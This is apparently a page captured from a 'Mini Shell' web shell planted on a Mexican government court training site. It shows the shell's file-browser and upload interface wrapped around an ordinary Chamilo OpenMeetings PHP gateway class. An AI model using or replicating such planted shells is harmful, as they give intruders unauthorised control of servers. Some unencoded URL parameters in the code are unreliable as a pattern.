%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/openmeetings/lib/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/openmeetings/lib/openmeetings_gateway.php

<?php
/*
 * Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements.  See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership.  The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License") +  you may not use this file except in compliance
* with the License.  You may obtain a copy of the License at
*
*   http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied.  See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/**
 * @package chamilo.plugin.openmeetings
 */
/**
 * Init.
 */
require_once 'openmeetings_rest_service.php';
/**
 * Class OpenMeetingsGateway.
 */
class OpenMeetingsGateway
{
    public $sessionId = "";
    public $config;
    private $rest;
    private $_user;
    private $_pass;
    private $_url;

    public function __construct($host, $user, $pass)
    {
        $this->_user = urlencode($user);
        $this->_pass = urlencode($pass);
        $this->_url = $host;
        if (substr($this->_url, -1, 1) == '/') {
            $this->_url = substr($this->_url, 0, -1);
        }
        $this->rest = new OpenMeetingsRestService();
        $err = $this->rest->getError();
        if ($err) {
            error_log('Constructor error: '.$err);
            error_log('Debug: '.$this->rest->getDebug());

            exit();
        }
    }

    /**
     * @param string $name
     *
     * @return string
     */
    public function getRestUrl($name)
    {
        return $this->getUrl()."/services/".$name."/";
    }

    /**
     * @return string
     */
    public function getUrl()
    {
        return $this->_url;
    }

    /**
     * @param bool $in
     *
     * @return string
     */
    public function var_to_str($in)
    {
        if (is_bool($in)) {
            return $in ? "true" : "false";
        } else {
            return $in;
        }
    }

    /**
     * TODO: Get Error Service and show detailed Error Message.
     */
    public function loginUser()
    {
        $returnValue = 0;
        $response = $this->rest->call($this->getRestUrl("UserService")."getSession", "session_id");

        if ($this->rest->getError()) {
            error_log('Fault (Expect - The request contains an invalid SOAP body) '.print_r($response, 1));
        } else {
            $err = $this->rest->getError();
            if ($err) {
                error_log('Error: '.$err);
            } else {
                $this->sessionId = $response;

                $url = $this->getRestUrl("UserService")
                        ."loginUser?"
                        ."SID=".$this->sessionId
                        ."&username=".$this->_user
                        ."&userpass=".$this->_pass;
                $result = $this->rest->call($url);
                if ($this->rest->getError()) {
                    error_log('Fault (Expect - The request contains an invalid SOAP body) '.print_r($result, 1));
                } else {
                    $err = $this->rest->getError();
                    if ($err) {
                        error_log('Error '.$err);
                    } else {
                        $returnValue = $result;
                    }
                }
            }
        }

        if ($returnValue > 0) {
            return true;
        } else {
            return false;
        }
    }

    /**
     * @param Room $room
     *
     * @return array|bool|int|null
     */
    public function updateRoomWithModeration($room)
    {
        $err = $this->rest->getError();
        if ($err) {
            error_log('Constructor error: '.$err);
            error_log('Debug: '.$this->rest->getDebug());
            exit();
        }

        $isModeratedRoom = false;
        if ($room->isModeratedRoom == 1) {
            $isModeratedRoom = true;
        }

        $url = $this->getRestUrl($this->getRestUrl("RoomService")
                ."updateRoomWithModeration?SID=".$this->sessionId
                ."&room_id=".$room->room_id
                ."&name=".urlencode($room->name)
                ."&roomtypes_id=".$room->roomtypes_id
                ."&comment=".$room->comment
                ."&numberOfPartizipants=".$room->numberOfPartizipants
                ."&ispublic=false"
                ."&appointment=false"
                ."&isDemoRoom=false"
                ."&demoTime=0"
                ."&isModeratedRoom=".$this->var_to_str($isModeratedRoom));

        $result = $this->rest->call($url);

        if ($result->fault) {
            error_log('Fault (Expect - The request contains an invalid SOAP body) '.print_r($result, 1));
        } else {
            $err = $this->rest->getError();
            if ($err) {
                error_log('Error: '.$err);
            } else {
                return $result;
            }
        }

        return -1;
    }

    /**
     * @param $username
     * @param $firstname
     * @param $lastname
     * @param $userId
     * @param $systemType
     * @param $recording_id
     *
     * @return array|bool|int|null
     */
    public function setUserObjectAndGenerateRecordingHashByURL($username, $firstname, $lastname, $userId, $systemType, $recording_id)
    {
        $result = $this->rest->call($this->getRestUrl("UserService")
                .'setUserObjectAndGenerateRecordingHashByURL?'
                .'SID='.$this->sessionId
                .'&username='.urlencode($username)
                .'&firstname='.urlencode($firstname)
                .'&lastname='.urlencode($lastname)
                .'&externalUserId='.$userId
                .'&externalUserType='.urlencode($systemType)
                .'&recording_id='.$recording_id, 'return');

        if ($result->fault) {
            error_log('Fault (Expect - The request contains an invalid SOAP body) '.print_r($result, 1));
        } else {
            $err = $this->rest->getError();
            if ($err) {
                error_log('Error: '.$err);
            } else {
                return $result;
            }
        }

        return -1;
    }

    /**
     * @param $username
     * @param $firstname
     * @param $lastname
     * @param $profilePictureUrl
     * @param $email
     * @param $userId
     * @param $systemType
     * @param $room_id
     * @param $becomeModerator
     * @param $allowRecording
     *
     * @return array|bool|int|null
     */
    public function setUserObjectAndGenerateRoomHashByURLAndRecFlag($username, $firstname, $lastname, $profilePictureUrl, $email, $userId, $systemType, $room_id, $becomeModerator, $allowRecording)
    {
        $err = $this->rest->getError();
        if ($err) {
            error_log('Constructor error: '.$err);
            error_log('Debug: '.$this->rest->getDebug());

            exit();
        }

        $result = $this->rest->call($this->getRestUrl("UserService")
                ."setUserObjectAndGenerateRoomHashByURLAndRecFlag?"
                ."SID=".$this->sessionId
                ."&username=".urlencode($username)
                ."&firstname=".urlencode($firstname)
                ."&lastname=".urlencode($lastname)
                ."&profilePictureUrl=".urlencode($profilePictureUrl)
                ."&email=".urlencode($email)
                ."&externalUserId=".urlencode($userId)
                ."&externalUserType=".urlencode($systemType)
                ."&room_id=".urlencode($room_id)
                ."&becomeModeratorAsInt=".$becomeModerator
                ."&showAudioVideoTestAsInt=1"
                ."&allowRecording=".$this->var_to_str($allowRecording));

        if ($result->fault) {
            error_log('Fault (Expect - The request contains an invalid SOAP body) '.print_r($result, 1));
        } else {
            $err = $this->rest->getError();
            if ($err) {
                error_log('Error: '.$err);
            } else {
                // echo '<h2>Result</h2><pre>'; print_r($result["return"]); echo '</pre>';
                return $result;
            }
        }

        return -1;
    }

    /**
     * @param Room $openmeetings
     *
     * @return array|bool|int|null
     */
    public function deleteRoom($openmeetings)
    {
        $err = $this->rest->getError();
        if ($err) {
            error_log('Constructor error: '.$err);
            error_log('Debug: '.$this->rest->getDebug());
            exit();
        }
        $url = $this->getRestUrl("RoomService")."deleteRoom?SID=".$this->sessionId."&rooms_id=".$openmeetings->room_id;
        $result = $this->rest->call($url);

        if ($result->fault) {
            error_log('Fault (Expect - The request contains an invalid SOAP body) '.print_r($result, 1));
        } else {
            $err = $this->rest->getError();
            if ($err) {
                error_log('Error: '.$err);
            } else {
                // echo '<h2>Result</h2><pre>'; print_r($result["return"]); echo '</pre>';
                // return $result["return"];
                return $result;
            }
        }

        return -1;
    }

    /**
     * Generate a new room hash for entering a conference room.
     */
    public function setUserObjectAndGenerateRoomHash($username, $firstname, $lastname, $profilePictureUrl, $email, $externalUserId, $externalUserType, $room_id, $becomeModeratorAsInt, $showAudioVideoTestAsInt)
    {
        $result = $this->rest->call($this->getRestUrl("UserService")
                ."setUserObjectAndGenerateRoomHash?"
                ."SID=".$this->sessionId
                ."&username=".urlencode($username)
                ."&firstname=".urlencode($firstname)
                ."&lastname=".urlencode($lastname)
                ."&profilePictureUrl=".urlencode($profilePictureUrl)
                ."&email=".urlencode($email)
                ."&externalUserId=".urlencode($externalUserId)
                ."&externalUserType=".urlencode($externalUserType)
                ."&room_id=".$room_id
                ."&becomeModeratorAsInt=".$becomeModeratorAsInt
                ."&showAudioVideoTestAsInt=".$showAudioVideoTestAsInt);

        if ($result->getError()) {
            error_log('Fault (Expect - The request contains an invalid SOAP body) '.print_r($result, 1));
        } else {
            $err = $this->rest->getError();
            if ($err) {
                error_log('Error: '.$err);
            } else {
                // echo '<h2>Result</h2><pre>'; print_r($result["return"]); echo '</pre>';
                return $result;
            }
        }

        return -1;
    }

    /**
     * Create a new conference room.
     *
     * @param   Room The room object
     *
     * @return The REST call's result
     */
    public function createRoomWithModAndType($room)
    {
        $service = 'addRoomWithModerationAndExternalType';
        if ($room->allowRecording) {
            $service = 'addRoomWithModerationAndRecordingFlags';
        } elseif ($room->isAudioOnly) {
            $service = 'addRoomWithModerationExternalTypeAndAudioType';
        }
        $url = $this->getRestUrl("RoomService")
                .$service.'?'
                .'SID='.$room->SID
                .'&name='.$room->name
                .'&roomtypes_id='.$room->roomtypes_id
                .'&comment='.$room->comment
                .'&numberOfPartizipants='.$room->numberOfPartizipants
                .'&ispublic='.$this->var_to_str($room->ispublic)
                .'&appointment='.$this->var_to_str($room->appointment)
                .'&isDemoRoom='.$this->var_to_str($room->isDemoRoom)
                .'&demoTime='.$room->demoTime
                .'&isModeratedRoom='.$this->var_to_str($room->isModeratedRoom)
                .'&externalRoomType='.$room->externalRoomType;
        if ($room->allowRecording) {
            $url .= '&allowUserQuestions='.$this->var_to_str($room->allowUserQuestions)
                 .'&isAudioOnly='.$this->var_to_str($room->isAudioOnly)
                 .'&waitForRecording='.$this->var_to_str($room->waitForRecording)
                 .'&allowRecording='.$this->var_to_str($room->allowRecording);
        } elseif ($room->isAudioOnly) {
            $url .= '&isAudioOnly='.$this->var_to_str($room->isAudioOnly);
        }
        $result = $this->rest->call($url);

        if ($this->rest->fault) {
            error_log('Fault (Expect - The request contains an invalid SOAP body) '.print_r($result, 1));
        } else {
            $err = $this->rest->getError();
            if ($err) {
                error_log('Error: '.$err);
            } else {
                return $result;
            }
        }

        return -1;
    }

    /**
     * Gets the list of open rooms of type "Chamilo".
     *
     * @param string $type The type of external system connecting to OpenMeetings
     *
     * @return bool
     */
    public function getRoomsWithCurrentUsersByType($type = 'chamilolms')
    {
        //$this->loginUser();
        if (empty($this->sessionId)) {
            return false;
        }

        $url = $this->getRestUrl("RoomService")."getRoomsWithCurrentUsersByListAndType?SID=".$this->sessionId
            ."&start=1&max=1000&orderby=name&asc=true&externalRoomType=chamilolms";
        //$url = $this->getRestUrl("RoomService")
        //    . "getRoomTypes?"
        //    . "SID=" . $this->sessionId;
        //$url = $this->getRestUrl('JabberService') . 'getAvailableRooms?SID=' . $this->sessionId;
        $result = $this->rest->call($url, "return");
        $rooms = [];
        foreach ($result as $room) {
            if ($room['externalRoomType'] == $type && count($room['currentusers']) > 0) {
                $rooms[] = $room;
            }
        }

        return $result;
    }

    /**
     * Gets details of a remote room by room ID.
     *
     * @param int $roomId The ID of the room, as of plugin_openmeetings.room_id
     *
     * @return mixed Room object
     */
    public function getRoomById($roomId = 0)
    {
        //$this->loginUser();
        if (empty($this->sessionId) or empty($roomId)) {
            return false;
        }
        $roomId = intval($roomId);

        $url = $this->getRestUrl("RoomService")
            ."getRoomById?"
            ."SID=".$this->sessionId
            ."&rooms_id=".$roomId;
        $result = $this->rest->call($url, "return");

        return $result;
    }

    /**
     * Get list of available recordings made by this instance.
     */
    public function getRecordingsByExternalRooms()
    {
        $url = $this->getRestUrl("RoomService")
            ."getFlvRecordingByExternalRoomType?"
            ."SID=".$this->sessionId
            ."&externalRoomType=".urlencode($this->config["moduleKey"]);

        $result = $this->rest->call($url, "return");

        return $result;
    }

    /**
     * Get the recording from the room.
     *
     * @param int $id Room ID
     *
     * @return array
     */
    public function getFlvRecordingByRoomId($id)
    {
        $url = $this->getRestUrl("RoomService")
            ."getFlvRecordingByRoomId?"
            ."SID=".$this->sessionId
            ."&roomId=".urlencode($id);

        $result = $this->rest->call($url, "return");

        return $result;
    }

    /**
     * Get list of available recordings made by user.
     */
    public function getRecordingsByExternalUser($id)
    {
        $url = $this->getRestUrl("RoomService")
            ."getFlvRecordingByExternalUserId?"
            ."SID=".$this->sessionId
            ."&externalUserId=".$id;

        $result = $this->rest->call($url, "return");

        return $result;
    }
}

Zerion Mini Shell 1.0